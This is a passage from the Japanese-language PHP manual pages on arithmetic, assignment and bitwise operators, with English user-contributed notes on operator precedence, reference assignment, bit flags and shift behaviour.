
if ($ID&&($data=get_table_row_for_ID($ID))&&$data->is_valid()) { //NOTE: assigned $data
 // do something with the data
}

If assigning variables in an if condition I recommend adding a comment at the end of the line that such an action took place.
aaronw at catalyst dot net dot nz 11-Aug-2017 01:18
If you've come here looking for a full list of PHP operators, take note that the table here is *not* complete. There are some additional operators (or operator-ish punctuation tokens) that are not included here, such as "->", "::", and "...".

For a really comprehensive list, take a look at the "List of Parser Tokens" page: http://php.net/manual/en/tokens.php
ivan at dilber dot info 24-Apr-2017 03:55
<?php
// Another tricky thing here is using && or || with ternary ?:
$x && $y ? $a : $b;  // ($x && $y) ? $a : $b;

// while:
$x and $y ? $a : $b;  // $x and ($y ? $a : $b);

?>
karlisd at gmail dot com 10-Nov-2015 05:39
Sometimes it's easier to understand things in your own examples.
If you want to play around operator precedence and look which tests will be made, you can play around with this:

<?php
function F($v) {echo $v." "; return false;}
function T($v) {echo $v." "; return true;}

IF (F(0) || T(1) && F(2)  || F(3)  && ! F(4) ) {
  echo "true";
} else echo " false";
?>
Now put in IF arguments f for false and t for true, put in them some ID's. Play out by changing "F" to "T" and vice versa, by keeping your ID the same. See output and you will know which arguments  actualy were checked.
fabmlk 02-Jun-2015 05:41
Watch out for the difference of priority between 'and vs &&' or '|| vs or':
<?php
$bool = true && false;
var_dump($bool); // false, that's expected

$bool = true and false;
var_dump($bool); // true, ouch!
?>
Because 'and/or' have lower priority than '=' but '||/&&' have higher.
Carsten Milkau 06-Jul-2012 12:06
Beware the unusual order of bit-wise operators and comparison operators, this has often lead to bugs in my experience. For instance:

<?php if ( $flags & MASK  == 1) do_something(); ?>

will not do what you might expect from other languages. Use

<?php if (($flags & MASK) == 1) do_something(); ?>

in PHP instead.


代数演算子

学校で習った基礎代数を憶えていますか? この演算子はそれらと同様に動作します。

代数演算子
例 | 名前 | 結果
+$a | 同一 | $a を、必要に応じて int あるいは float に変換する
-$a | 負にする | $a の逆
$a + $b | 加算 | $a および $b の合計
$a - $b | 減算 | $a と $b の差
$a * $b | 乗算 | $a および $b の積
$a / $b | 除算 | $a および $b の商
$a % $b | 剰余 | $a を $b で割った余り
$a ** $b | 累乗 | $a の $b 乗。

除算演算子 ("/") の返す値は浮動小数点数となります。 ただし、ふたつのオペランドがともに整数 (あるいは整数に変換できる文字列) であり、かつ結果が割り切れる場合には整数値を返します。 整数の除算については intdiv() を参照ください。

剰余演算子は、まず両方のオペランドを整数に直し (小数点以下を切り捨てます) てから処理を行います。 浮動小数点の剰余については fmod() を参照ください。

剰余演算子 % の結果の符号は、被除数の符号と同じになります。 つまり、$a % $b の結果の符号は $a と同じになるということです。

<?php

echo (5 % 3)."\n";           // 2
echo (5 % -3)."\n";          // 2
echo (-5 % 3)."\n";          // -2
echo (-5 % -3)."\n";         // -2

?>

参考

  • 数学関数

User Contributed Notes

There are no user contributed notes for this page.


代入演算子

代入演算子の基本となるものは "=" です。この演算子に関して最初に 思い付く意味は"等しい"であるかもしれません。しかし、そうではありません。 本当は、左オペランドに右オペランドの式の値を設定する("得て代入する") ことを意味します。

代入式の値は、代入される値です。つまり、"$a = 3" の値は、3 です。 これにより、以下のようなトリッキーなことができるようになります。

<?php

$a = ($b = 4) + 5; // $a は 9 に等しくなり、$b には 4 が代入されます

?>

基本代入演算子に加えて、全ての 演算子、配列結合および文字列演算子に関して 「複合演算子」があります。 これにより、式の中の値を使用し、その値をその式の結果とすることができます。 例えば、

<?php

$a = 3;
$a += 5; // $a を 8 にセットします。$a = $a + 5; と同じです。
$b = "Hello ";
$b .= "There!"; // $bを"Hello There!"にセットします。$b = $b . "There!";と同じです。

?>

代入は、元の変数を新しい変数にコピーする(値による代入)ため、 片方の変数に対する変更はもう片方に影響を与えないということに 注意してください。この動作により、密なループの内側で大きな配列のようなものを コピーする必要がある場合には問題を生じる可能性があります。

PHP では通常は値による代入になりますが、 オブジェクトは参照で代入されます。 オブジェクトを明示的にコピーするには clone キーワードを使います。

参照による代入

参照による代入もサポートしており、 "$var = &$othervar;" 構文で使うことができます。 参照による代入とは、両方の変数が同じデータを指すようにするということです。 データのコピーは発生しません。

例1 参照による代入

<?php
$a = 3;
$b = &$a; // $b は $a への参照です

print "$a\n"; // 表示: 3
print "$b\n"; // 表示: 3

$a = 4; // change $a

print "$a\n"; // 表示: 4
print "$b\n"; // 表示: 4
              // $b の参照先は $a であり、その値が変わったからです
?>

new 演算子は自動的に参照を返します。そのため、 new の結果を参照で代入するとエラーが発生します。

<?php
class C {}

$o = &new C;
?>

上の例の出力は以下となります。

Parse error: syntax error, unexpected 'new' (T_NEW) in ...

参照に関する詳細な情報やその使い方については、このマニュアルの リファレンスに関する説明 をご覧ください。

算術代入演算子

例 | 同一の結果になる操作 | 演算
$a += $b | $a = $a + $b | 加算
$a -= $b | $a = $a - $b | 減算
$a *= $b | $a = $a * $b | 乗算
$a /= $b | $a = $a / $b | 除算
$a %= $b | $a = $a % $b | 剰余
$a **= $b | $a = $a ** $b | べき乗

ビット代入演算子

例 | 同一の結果になる操作 | 演算
$a &= $b | $a = $a & $b | ビット積
$a |= $b | $a = $a | $b | ビット和
$a ^= $b | $a = $a ^ $b | 排他的論理和
$a <<= $b | $a = $a << $b | 左シフト
$a >>= $b | $a = $a >> $b | 右シフト

その他の代入演算子

例 | 同一の結果になる操作 | 演算
$a .= $b | $a = $a . $b | 文字列の結合
$a ??= $b | $a = $a ?? $b | Null合体

参考

  • arithmetic operators
  • bitwise operators
  • null coalescing operator

User Contributed Notes

asc at putc dot de 13-Jul-2015 02:39
PHP uses a temporary variable for combined assign-operators (unlike JavaScript), therefore the left-hand-side (target) gets evaluated last.

Input:
$a += $b + $c;

Meaning:
$a = ($b + $c) + $a;

Not:
$a = $a + ($b + $c);

This can be important if the target gets modified inside the expression.

$a = 0;
$a += (++$a) + (++$a); // yields 5 (instead of 4)
Robert Schneider 13-Mar-2015 01:03
Be aware of assignments with conditionals. The assignment operator is stronger as 'and', 'or' and 'xor'.

<?php
$x = true and false;   //$x will be true
$y = (true and false); //$y will be false
?>
ma dot bx dot ar at gamil dot com 02-Jun-2014 10:35
Document says:
"An exception to the usual assignment by value behaviour within PHP occurs with objects, which are assigned by reference in PHP 5. Objects may be explicitly copied via the clone keyword."

But it's not very accurate! Considering this code:
<?php
$a = new StdClass;
$b = $a;

$a = new StdClass;

var_dump ($a, $b);
?>

Output:
object(stdClass)#2 (0) {
}
object(stdClass)#1 (0) {
}
Note: #2 and #1 means two different objects.

But this code:
<?php
$a = new StdClass;
$b = &$a;

$a = new StdClass;

var_dump ($a, $b);
?>

Output will be:

object(stdClass)#2 (0) {
}
object(stdClass)#2 (0) {
}

Note: Still pointing to the same object.

And this shows that that exception is not valid, PHP assignment for objects still makes a copy of variable and does not creates a real reference, albeit changing an object variable members will cause both copies to change.
So, I would say assignment operator makes a copy of 'Object reference' not a real object reference.
haubertj at alfredstate dot edu 01-Sep-2011 07:19
[[   Editor's note: You are much better off using the foreach (array_expression as $key => $value) control structure in this case   ]]

When using

<php
while ($var = current($array) {
#do stuff
next($aray)
?>

to process an array, if current($array) happens to be falsy but not === false it will still end the loop.  In such a case strict typing must be used.

Like this:

<php
while (($var = current($array)) !== FALSE) {
#do stuff
next($aray)
?>

Of course if your array may contain actual FALSE values you will have to deal with those some other way.
Peter, Moscow 11-Feb-2011 01:44
Using $text .= "additional text"; instead of $text =  $text ."additional text"; can seriously enhance performance due to memory allocation efficiency.

I reduced execution time from 5 sec to .5 sec (10 times) by simply switching to the first pattern for a loop with 900 iterations over a string $text that reaches 800K by the end.
Hayley Watson 05-Feb-2008 05:54
You could also take adam at gmail dot com's xor-assignment operator and use the fact that it's right-associative:

$a ^= $b ^= $a ^= $b;
Hayley Watson 07-Oct-2007 03:22
bradlis7 at bradlis7 dot com's description is a bit confusing. Here it is rephrased.

<?php
$a = 'a';
$b = 'b';

$a .= $b .= "foo";

echo $a,"\n",$b;?>
outputs

abfoo
bfoo

Because the assignment operators are right-associative and evaluate to the result of the assignment
<?php
$a .= $b .= "foo";
?>
is equivalent to
<?php
$a .= ($b .= "foo");
?>
and therefore
<?php
$b .= "foo";
$a .= $b;
?>
bradlis7 at bradlis7 dot com 15-Aug-2005 08:13
Note whenever you do this

<?php
$a .= $b .= "bla bla";
?>

it comes out to be the same as the following:

<?php
$a .= $b."bla bla";
$b .= "bla bla";
?>

So $a actually becomes $a and the final $b string. I'm sure it's the same with numerical assignments (+=, *=...).


ビット演算子

ビット演算子は、整数値の特定のビットの評価や操作を行います。

ビット演算子
例 | 名前 | 結果
$a & $b | ビット積 | $a および $b の両方にセットされているビットがセットされます
$a | $b | ビット和 | $a または $b のどちらかにセットされているビットがセットされます
$a ^ $b | 排他的論理和 | $a または $b のどちらか一方にセットされており、両方にセットされていないビットがセットされます
~ $a | 否定 | $a にセットされているビットはセットせず、そうでないものは逆にします
$a << $b | 左シフト | $a のビットを左に $b ビットシフトする (各シフトは "2をかける" ことを意味します)
$a >> $b | 右シフト | $a のビットを右に $b ビットシフトします (各シフトは "2で割る" ことを意味します)

PHP のシフト処理は算術シフトです。両端からあふれたビットは捨てられます。 左シフトをすると右側にはゼロが埋められます。 符号ビットは左端からあふれて消えます。 つまり、オペランドの符号は維持されないということです。 右シフトの際には、符号ビットと同じ内容が左端から埋められます。 つまり、この場合はオペランドの符号が維持されます。

括弧を使うことで、望みどおりの 優先順位 で処理させることができます。たとえば、$a & $b == true はまず等価かどうかを評価してからビット演算を行いますが ($a & $b) == true はまずビット演算を行ってから等価かどうかを評価します。

&、| そして ^ 演算子の左右のオペランドが文字列の場合、その演算は、 文字列を構成する文字の ASCII 値を使って行います。その結果は文字列になります。 それ以外の場合は、左右のオペランドを integer に変換 し、結果も integer になります。

~ 演算子のオペランドが文字列の場合、その演算は、 文字列を構成する文字の ASCII 値を使って行います。その結果は文字列になります。 それ以外の場合は、オペランドや演算結果を integer として扱います。

<< および >> 演算子のオペランドとその結果は、常に integer として扱います。

PHP の ini 設定 error_reporting はビット値を用いています。
これを用いて、特定のビットを落とす演算の例を見てみましょう。
notice 以外のすべてのエラーを表示させるには、
php.ini ファイルで
E_ALL & ~E_NOTICE
と指定することになります。

まずは E_ALL。
00000000000000000111011111111111
そして E_NOTICE...。
00000000000000000000000000001000
... これを ~ で逆転させます。
11111111111111111111111111110111
最後に AND (&) を使い、両方ともビットが立っているところをみつけます。
00000000000000000111011111110111

同じ結果を得るもうひとつの方法として、 XOR (^)
を使ってどちらか一方だけ立っているビットを探すという方法もあります。
E_ALL ^ E_NOTICE

error_reporting を使って、特定のビットを立てる処理の例を見てみましょう。
通常のエラーとリカバー可能なエラーだけを表示させるには、次のようにします。
E_ERROR | E_RECOVERABLE_ERROR

この処理は、 E_ERROR
00000000000000000000000000000001
と
00000000000000000001000000000000
を OR (|) 演算子でつないで、
少なくともどちらかのビットが立っているところを取得します。
00000000000000000001000000000001

例1 整数値におけるビット AND、OR および XOR 演算

<?php
/*
 * このへんは無視してください。
 * たんに結果をきれいに表示させるためだけのものです。
 */

$format = '(%1$2d = %1$04b) = (%2$2d = %2$04b)'
        . ' %3$s (%4$2d = %4$04b)' . "\n";

echo <<<EOH
 ---------     ---------  -- ---------
 result        value      op test
 ---------     ---------  -- ---------
EOH;

/*
 * ここからが本番
 */

$values = array(0, 1, 2, 4, 8);
$test = 1 + 4;

echo "\n Bitwise AND \n";
foreach ($values as $value) {
    $result = $value & $test;
    printf($format, $result, $value, '&', $test);
}

echo "\n Bitwise Inclusive OR \n";
foreach ($values as $value) {
    $result = $value | $test;
    printf($format, $result, $value, '|', $test);
}

echo "\n Bitwise Exclusive OR (XOR) \n";
foreach ($values as $value) {
    $result = $value ^ $test;
    printf($format, $result, $value, '^', $test);
}
?>

上の例の出力は以下となります。

 ---------     ---------  -- ---------
 result        value      op test
 ---------     ---------  -- ---------
 Bitwise AND
( 0 = 0000) = ( 0 = 0000) & ( 5 = 0101)
( 1 = 0001) = ( 1 = 0001) & ( 5 = 0101)
( 0 = 0000) = ( 2 = 0010) & ( 5 = 0101)
( 4 = 0100) = ( 4 = 0100) & ( 5 = 0101)
( 0 = 0000) = ( 8 = 1000) & ( 5 = 0101)

 Bitwise Inclusive OR
( 5 = 0101) = ( 0 = 0000) | ( 5 = 0101)
( 5 = 0101) = ( 1 = 0001) | ( 5 = 0101)
( 7 = 0111) = ( 2 = 0010) | ( 5 = 0101)
( 5 = 0101) = ( 4 = 0100) | ( 5 = 0101)
(13 = 1101) = ( 8 = 1000) | ( 5 = 0101)

 Bitwise Exclusive OR (XOR)
( 5 = 0101) = ( 0 = 0000) ^ ( 5 = 0101)
( 4 = 0100) = ( 1 = 0001) ^ ( 5 = 0101)
( 7 = 0111) = ( 2 = 0010) ^ ( 5 = 0101)
( 1 = 0001) = ( 4 = 0100) ^ ( 5 = 0101)
(13 = 1101) = ( 8 = 1000) ^ ( 5 = 0101)

例2 文字列でのビット XOR 演算

<?php
echo 12 ^ 9; // 出力は '5'

echo "12" ^ "9"; // 出力はバックスペース文字 (ascii 8)
                 // ('1' (ascii 49)) ^ ('9' (ascii 57)) = #8

echo "hallo" ^ "hello"; // 出力は、ascii コード #0 #4 #0 #0 #0
                        // 'a' ^ 'e' = #4

echo 2 ^ "3"; // 出力は 1
              // 2 ^ ((int)"3") == 1

echo "2" ^ 3; // 出力は 1
              // ((int)"2") ^ 3 == 1
?>

例3 整数値のビットシフト

<?php
/*
 * これが例です
 */

echo "\n--- BIT SHIFT RIGHT ON POSITIVE INTEGERS ---\n";

$val = 4;
$places = 1;
$res = $val >> $places;
p($res, $val, '>>', $places, 'copy of sign bit shifted into left side');

$val = 4;
$places = 2;
$res = $val >> $places;
p($res, $val, '>>', $places);

$val = 4;
$places = 3;
$res = $val >> $places;
p($res, $val, '>>', $places, 'bits shift out right side');

$val = 4;
$places = 4;
$res = $val >> $places;
p($res, $val, '>>', $places, 'same result as above; can not shift beyond 0');

echo "\n--- BIT SHIFT RIGHT ON NEGATIVE INTEGERS ---\n";

$val = -4;
$places = 1;
$res = $val >> $places;
p($res, $val, '>>', $places, 'copy of sign bit shifted into left side');

$val = -4;
$places = 2;
$res = $val >> $places;
p($res, $val, '>>', $places, 'bits shift out right side');

$val = -4;
$places = 3;
$res = $val >> $places;
p($res, $val, '>>', $places, 'same result as above; can not shift beyond -1');

echo "\n--- BIT SHIFT LEFT ON POSITIVE INTEGERS ---\n";

$val = 4;
$places = 1;
$res = $val << $places;
p($res, $val, '<<', $places, 'zeros fill in right side');

$val = 4;
$places = (PHP_INT_SIZE * 8) - 4;
$res = $val << $places;
p($res, $val, '<<', $places);

$val = 4;
$places = (PHP_INT_SIZE * 8) - 3;
$res = $val << $places;
p($res, $val, '<<', $places, 'sign bits get shifted out');

$val = 4;
$places = (PHP_INT_SIZE * 8) - 2;
$res = $val << $places;
p($res, $val, '<<', $places, 'bits shift out left side');

echo "\n--- BIT SHIFT LEFT ON NEGATIVE INTEGERS ---\n";

$val = -4;
$places = 1;
$res = $val << $places;
p($res, $val, '<<', $places, 'zeros fill in right side');

$val = -4;
$places = (PHP_INT_SIZE * 8) - 3;
$res = $val << $places;
p($res, $val, '<<', $places);

$val = -4;
$places = (PHP_INT_SIZE * 8) - 2;
$res = $val << $places;
p($res, $val, '<<', $places, 'bits shift out left side, including sign bit');

/*
 * このへんは無視してください。
 * たんに結果をきれいに表示させるためだけのものです。
 */

function p($res, $val, $op, $places, $note = '') {
    $format = '%0' . (PHP_INT_SIZE * 8) . "b\n";

    printf("Expression: %d = %d %s %d\n", $res, $val, $op, $places);

    echo " Decimal:\n";
    printf("  val=%d\n", $val);
    printf("  res=%d\n", $res);

    echo " Binary:\n";
    printf('  val=' . $format, $val);
    printf('  res=' . $format, $res);

    if ($note) {
        echo " NOTE: $note\n";
    }

    echo "\n";
}
?>

上の例の 32 ビットマシンでの出力は、このようになります。

--- BIT SHIFT RIGHT ON POSITIVE INTEGERS ---
Expression: 2 = 4 >> 1
 Decimal:
  val=4
  res=2
 Binary:
  val=00000000000000000000000000000100
  res=00000000000000000000000000000010
 NOTE: copy of sign bit shifted into left side

Expression: 1 = 4 >> 2
 Decimal:
  val=4
  res=1
 Binary:
  val=00000000000000000000000000000100
  res=00000000000000000000000000000001

Expression: 0 = 4 >> 3
 Decimal:
  val=4
  res=0
 Binary:
  val=00000000000000000000000000000100
  res=00000000000000000000000000000000
 NOTE: bits shift out right side

Expression: 0 = 4 >> 4
 Decimal:
  val=4
  res=0
 Binary:
  val=00000000000000000000000000000100
  res=00000000000000000000000000000000
 NOTE: same result as above; can not shift beyond 0

--- BIT SHIFT RIGHT ON NEGATIVE INTEGERS ---
Expression: -2 = -4 >> 1
 Decimal:
  val=-4
  res=-2
 Binary:
  val=11111111111111111111111111111100
  res=11111111111111111111111111111110
 NOTE: copy of sign bit shifted into left side

Expression: -1 = -4 >> 2
 Decimal:
  val=-4
  res=-1
 Binary:
  val=11111111111111111111111111111100
  res=11111111111111111111111111111111
 NOTE: bits shift out right side

Expression: -1 = -4 >> 3
 Decimal:
  val=-4
  res=-1
 Binary:
  val=11111111111111111111111111111100
  res=11111111111111111111111111111111
 NOTE: same result as above; can not shift beyond -1

--- BIT SHIFT LEFT ON POSITIVE INTEGERS ---
Expression: 8 = 4 << 1
 Decimal:
  val=4
  res=8
 Binary:
  val=00000000000000000000000000000100
  res=00000000000000000000000000001000
 NOTE: zeros fill in right side

Expression: 1073741824 = 4 << 28
 Decimal:
  val=4
  res=1073741824
 Binary:
  val=00000000000000000000000000000100
  res=01000000000000000000000000000000

Expression: -2147483648 = 4 << 29
 Decimal:
  val=4
  res=-2147483648
 Binary:
  val=00000000000000000000000000000100
  res=10000000000000000000000000000000
 NOTE: sign bits get shifted out

Expression: 0 = 4 << 30
 Decimal:
  val=4
  res=0
 Binary:
  val=00000000000000000000000000000100
  res=00000000000000000000000000000000
 NOTE: bits shift out left side

--- BIT SHIFT LEFT ON NEGATIVE INTEGERS ---
Expression: -8 = -4 << 1
 Decimal:
  val=-4
  res=-8
 Binary:
  val=11111111111111111111111111111100
  res=11111111111111111111111111111000
 NOTE: zeros fill in right side

Expression: -2147483648 = -4 << 29
 Decimal:
  val=-4
  res=-2147483648
 Binary:
  val=11111111111111111111111111111100
  res=10000000000000000000000000000000

Expression: 0 = -4 << 30
 Decimal:
  val=-4
  res=0
 Binary:
  val=11111111111111111111111111111100
  res=00000000000000000000000000000000
 NOTE: bits shift out left side, including sign bit

上の例の 64 ビットマシンでの出力は、このようになります。

--- BIT SHIFT RIGHT ON POSITIVE INTEGERS ---
Expression: 2 = 4 >> 1
 Decimal:
  val=4
  res=2
 Binary:
  val=0000000000000000000000000000000000000000000000000000000000000100
  res=0000000000000000000000000000000000000000000000000000000000000010
 NOTE: copy of sign bit shifted into left side

Expression: 1 = 4 >> 2
 Decimal:
  val=4
  res=1
 Binary:
  val=0000000000000000000000000000000000000000000000000000000000000100
  res=0000000000000000000000000000000000000000000000000000000000000001

Expression: 0 = 4 >> 3
 Decimal:
  val=4
  res=0
 Binary:
  val=0000000000000000000000000000000000000000000000000000000000000100
  res=0000000000000000000000000000000000000000000000000000000000000000
 NOTE: bits shift out right side

Expression: 0 = 4 >> 4
 Decimal:
  val=4
  res=0
 Binary:
  val=0000000000000000000000000000000000000000000000000000000000000100
  res=0000000000000000000000000000000000000000000000000000000000000000
 NOTE: same result as above; can not shift beyond 0

--- BIT SHIFT RIGHT ON NEGATIVE INTEGERS ---
Expression: -2 = -4 >> 1
 Decimal:
  val=-4
  res=-2
 Binary:
  val=1111111111111111111111111111111111111111111111111111111111111100
  res=1111111111111111111111111111111111111111111111111111111111111110
 NOTE: copy of sign bit shifted into left side

Expression: -1 = -4 >> 2
 Decimal:
  val=-4
  res=-1
 Binary:
  val=1111111111111111111111111111111111111111111111111111111111111100
  res=1111111111111111111111111111111111111111111111111111111111111111
 NOTE: bits shift out right side

Expression: -1 = -4 >> 3
 Decimal:
  val=-4
  res=-1
 Binary:
  val=1111111111111111111111111111111111111111111111111111111111111100
  res=1111111111111111111111111111111111111111111111111111111111111111
 NOTE: same result as above; can not shift beyond -1

--- BIT SHIFT LEFT ON POSITIVE INTEGERS ---
Expression: 8 = 4 << 1
 Decimal:
  val=4
  res=8
 Binary:
  val=0000000000000000000000000000000000000000000000000000000000000100
  res=0000000000000000000000000000000000000000000000000000000000001000
 NOTE: zeros fill in right side

Expression: 4611686018427387904 = 4 << 60
 Decimal:
  val=4
  res=4611686018427387904
 Binary:
  val=0000000000000000000000000000000000000000000000000000000000000100
  res=0100000000000000000000000000000000000000000000000000000000000000

Expression: -9223372036854775808 = 4 << 61
 Decimal:
  val=4
  res=-9223372036854775808
 Binary:
  val=0000000000000000000000000000000000000000000000000000000000000100
  res=1000000000000000000000000000000000000000000000000000000000000000
 NOTE: sign bits get shifted out

Expression: 0 = 4 << 62
 Decimal:
  val=4
  res=0
 Binary:
  val=0000000000000000000000000000000000000000000000000000000000000100
  res=0000000000000000000000000000000000000000000000000000000000000000
 NOTE: bits shift out left side

--- BIT SHIFT LEFT ON NEGATIVE INTEGERS ---
Expression: -8 = -4 << 1
 Decimal:
  val=-4
  res=-8
 Binary:
  val=1111111111111111111111111111111111111111111111111111111111111100
  res=1111111111111111111111111111111111111111111111111111111111111000
 NOTE: zeros fill in right side

Expression: -9223372036854775808 = -4 << 61
 Decimal:
  val=-4
  res=-9223372036854775808
 Binary:
  val=1111111111111111111111111111111111111111111111111111111111111100
  res=1000000000000000000000000000000000000000000000000000000000000000

Expression: 0 = -4 << 62
 Decimal:
  val=-4
  res=0
 Binary:
  val=1111111111111111111111111111111111111111111111111111111111111100
  res=0000000000000000000000000000000000000000000000000000000000000000
 NOTE: bits shift out left side, including sign bit

警告

PHP_INT_MAX を超える数のビット演算には、 gmp 拡張モジュールの関数を使いましょう。

参考

  • pack()
  • unpack()
  • gmp_and()
  • gmp_or()
  • gmp_xor()
  • gmp_testbit()
  • gmp_clrbit()

User Contributed Notes

biziclop at vipmail dot hu 18-Oct-2019 04:10
A fast algorithm (Brian Kernighan's) to count all bits set to 1 in an integer, modified to work with signed ints.
It does the same as https://php.net/gmp_popcount except for ordinary integers.

<?php
function count_set_bits( $n ){
  if( $n >= 0 ){  for( $count = 0;  $n;       ++$count )  $n &= $n - 1;  }
           else{  for( $count = 1;  $n << 1;  ++$count )  $n &= $n - 1;  }
  return $count;
}

echo 'This PHP uses ' . count_set_bits(-1) .'-bit integers.';
?>
ASchmidt at Anamera dot net 29-Jul-2019 11:52
Setting, unsetting and testing single and multiple bits in a bitmask:

<?php
    const    FLAG_A    =    0b0001,
            FLAG_B    =    0b0010,
            FLAG_C    =    0b0100,
            FLAG_D    =    0b1000;

    const    COMBO_BC = FLAG_B | FLAG_C;

    $bitmask = 0b000;

    // Setting individual flags.
    $bitmask |=    FLAG_B;        // Sets FLAG_B (=2)
    $bitmask |=    FLAG_C;        // also sets FLAG_C (=4)

    // Testing single or multiple flags.
    echo (bool)( $bitmask & FLAG_B );                            // True, B is set.

    echo (bool)( $bitmask & (FLAG_A | FLAG_B) );                // True, A or B is set.

    echo (bool)( $bitmask & FLAG_B and $bitmask & FLAG_C );        // True, B and C are set.
    echo (bool)( ( $bitmask & (FLAG_B | FLAG_C) ) ^ (FLAG_B | FLAG_C) );    // False if B and C are set.
    echo (bool)( ( $bitmask & COMBO_BC ) ^ COMBO_BC );            // False if B and C are set.

    echo (bool)( $bitmask & FLAG_C and $bitmask & FLAG_D );        // False, C and D are NOT BOTH set.
    echo (bool)( ( $bitmask & (FLAG_C | FLAG_D) ) ^ (FLAG_C | FLAG_D) );    // True, if C and D are NOT BOTH set.

    // Resetting single flag.
    $bitmask &= $bitmask ^ FLAG_B;    // Unsets B
    $bitmask &= $bitmask ^ FLAG_A;    // A remains unset.
    var_dump( $bitmask );            // Only C still set (=4)

    // Resetting multiple flags.
    $bitmask &= $bitmask ^ ( FLAG_C | FLAG_D );    // Unsets C and/or D
    var_dump( $bitmask );            // No flags set (=0)
joey 18-Jan-2016 09:05
If you want a quick one liner for reversing binary and performance/sanity isn't an issue:

    function reverse_bits($n) {
        return (int)base_convert(strrev(str_pad(base_convert($n, 10, 2), PHP_INT_SIZE * 8, 0, STR_PAD_LEFT)), 2, 10);
    }

Expect it to behave strangely for the signed bit. Best to use for < PHP_INT_SIZE * 8 to avoid peculiarity. You can also skip the cast if you don't mind keeping your number as a string. base convert appears to work for large precision or perhaps arbitrary but be prepared for strangeness (double, mixed types, precision loss, etc) if you need to work on the revolting number.

Use at your own peril.
luis at rosety dot com 18-Oct-2015 02:05
Example of function using bitwise operations for converting hexadecimal color (usually given as 6 hexadecimal digit string, into separated RGB integers)

<?php

function hex2rgb($hex){

    $dec = hexdec($hexcolor);               // $hex string to decimal value
    $r = $dec & hexdec('FF0000');          //Mask for red
    $g = $dec & hexdec('00FF00');         //Mask for green
    $b = $dec & hexdec('0000FF');         //Mask for blue

    return array($r>>16, $g>>8, $b);       // Shift full right each color from its original position
}
?>

Example of use

<?php
$rgb = hex2rgb('112233');
echo "red: ".$rgb[0]."\n";
echo "green: ".$rgb[1]."\n";
echo "blue: ".$rgb[2]."\n";
?>

Would produce:

red: 17
green: 34
blue: 51

Since:
dechex(17) = '#11'
dechex(34) = '#22'
dechex(51) = '#33'
J. Ketting 12-Jul-2014 09:39
@zooly

Don't forget the leading zeros.
It's very important if you want to write a function similar to the assembly instructions 'ror' and 'rol' (Rotate on Right and Rotate on Left), because of dword value; rotating the binary always takes 32 positions and includes the leading zeros!
So this is the right way:

<?php

function rotate ($decimal, $bits) {

  $binary = decbin($decimal);
  $binary = str_pad($binary, 32, '0', STR_PAD_LEFT);
  return (
    bindec(substr($binary, $bits).substr($binary, 0, $bits))
  );

}

?>

Look at this assembly code:

mov edx, 1bf5616c
ror edx, 8

After this operation: edx = 0x6c1bf561 (binary: 1101100000110111111010101100001)
But your code returns 0x0d9bf561 (binary: 1101100110111111010101100001)
In order to get the right value you have to add the leading zeros by adding that line with strpad() (see above). Very important!
sag at ich dot net 14-Jul-2013 06:52
me reimplement for bitwise NOT (~)

    protected function flipBin($number) {
        $bin = str_pad(base_convert($number, 10, 2), 32, 0, STR_PAD_LEFT);
        for ($i = 0; $i < 32; $i++) {
            switch ($bin{$i}) {
                case '0' :
                    $bin{$i} = '1';
                    break;
                case '1' :
                    $bin{$i} = '0';
                    break;
            }
        }
        return bindec($bin);
    }

the benefit is, it works with numbers greater MAX_INT
vivekanand dot pathak25 at gmail dot com 16-Mar-2013 07:59
$a =     9;
$b =     10;
echo $a & $b;

place value   128  64  32  16   8  4   2   1
$a                     0      0    0     0    1  0   0   1   =9
$b                     0      0    0     0    1   0  1   0   =10

result   8

 only bit they share together is the 8 bit. So 8 gets returned.

  $a =     36;
$b =     103;
echo $a & $b;

place value   128  64  32  16   8    4   2   1
$a                     0      0    1     0    0    1   0   0   =36
$b                     0      1    1     0    0    1   1   1   =103

result  32+4 = 36
the only bits these two share together are the bits 32 and 4 which when added together return 36.

$a =     9;
$b =     10;
echo $a | $b;

place value   128  64  32  16   8  4   2   1
$a                     0      0    0     0    1  0   0   1   =9
$b                     0      0    0     0    1   0  1   0   =10

result 8+2+1 = 11
 3 bits set, in the 8, 2, and 1 column.add those up 8+2+1 and you get 11

$a =     9;
$b =     10;
echo $a ^ $b;

place value   128  64  32  16   8  4   2   1
$a                     0      0    0     0    1  0   0   1   =9
$b                     0      0    0     0    1   0  1   0   =10

result  2+1 = 3
the 2 bit and the 1 bit that they each have set but don't share. Soooo 2+1 = 3
erich at seachawaii dot com 14-Dec-2012 03:15
Just a note regarding negative shift values, as the documentation states each shift is an integer multiply or divide (left or right respectively) by 2.  That means a negative shift value (the right hand operand) effects the sign of the shift and NOT the direction of the shift as I would have expected.
FE. 0xff >> -2 results in 0x0
and 0xff << -2 result in 0xFFFFFFFFC0000000 (dependant on PHP_INT_MAX)
frankemeks77 at yahoo dot com 21-Aug-2012 01:24
Just learning Bitwise Shift Operators.

The easiest way to resolve a bitwise  shift operators is my multiply or dividing each step by two for left shift or right shift respectively

Example:

LEFT SHIFT
<?php echo 8 << 3; //64 ?>

//same as
<?php echo 8 * 2 * 2 * 2; ?>

RIGHT SHIFT
<?php echo 8 >> 3; //1 ?>

//same as
<?php echo ((8/2)/2)/2; //1 ?>

//Solving on a paper 8/2 = 4/2 = 2/2 = 1
wbcarts at juno dot com 17-May-2012 03:52
BITWISE FLAGS for Custom PHP Objects

Sometimes I need a custom PHP Object that holds several boolean TRUE or FALSE values. I could easily include a variable for each of them, but as always, code has a way to get unweildy pretty fast. A more intelligent approach always seems to be the answer, even if it seems to be overkill at first.

I start with an abstract base class which will hold a single integer variable called $flags. This simple integer can hold 32 TRUE or FALSE boolean values. Another thing to consider is to just set certain BIT values without disturbing any of the other BITS -- so included in the class definition is the setFlag($flag, $value) function, which will set only the chosen bit. Here's the abstract base class definition:

<?php

# BitwiseFlag.php

abstract class BitwiseFlag
{
  protected $flags;

  /*
   * Note: these functions are protected to prevent outside code
   * from falsely setting BITS. See how the extending class 'User'
   * handles this.
   *
   */
  protected function isFlagSet($flag)
  {
    return (($this->flags & $flag) == $flag);
  }

  protected function setFlag($flag, $value)
  {
    if($value)
    {
      $this->flags |= $flag;
    }
    else
    {
      $this->flags &= ~$flag;
    }
  }
}

?>

The class above is abstract and cannot be instantiated, so an extension is required. Below is a simple extension called User -- which is severely truncated for clarity. Notice I am defining const variables AND methods to use them.

<?php

# User.php

require('BitwiseFlag.php');

class User extends BitwiseFlag
{
  const FLAG_REGISTERED = 1; // BIT #1 of $flags has the value 1
  const FLAG_ACTIVE = 2;     // BIT #2 of $flags has the value 2
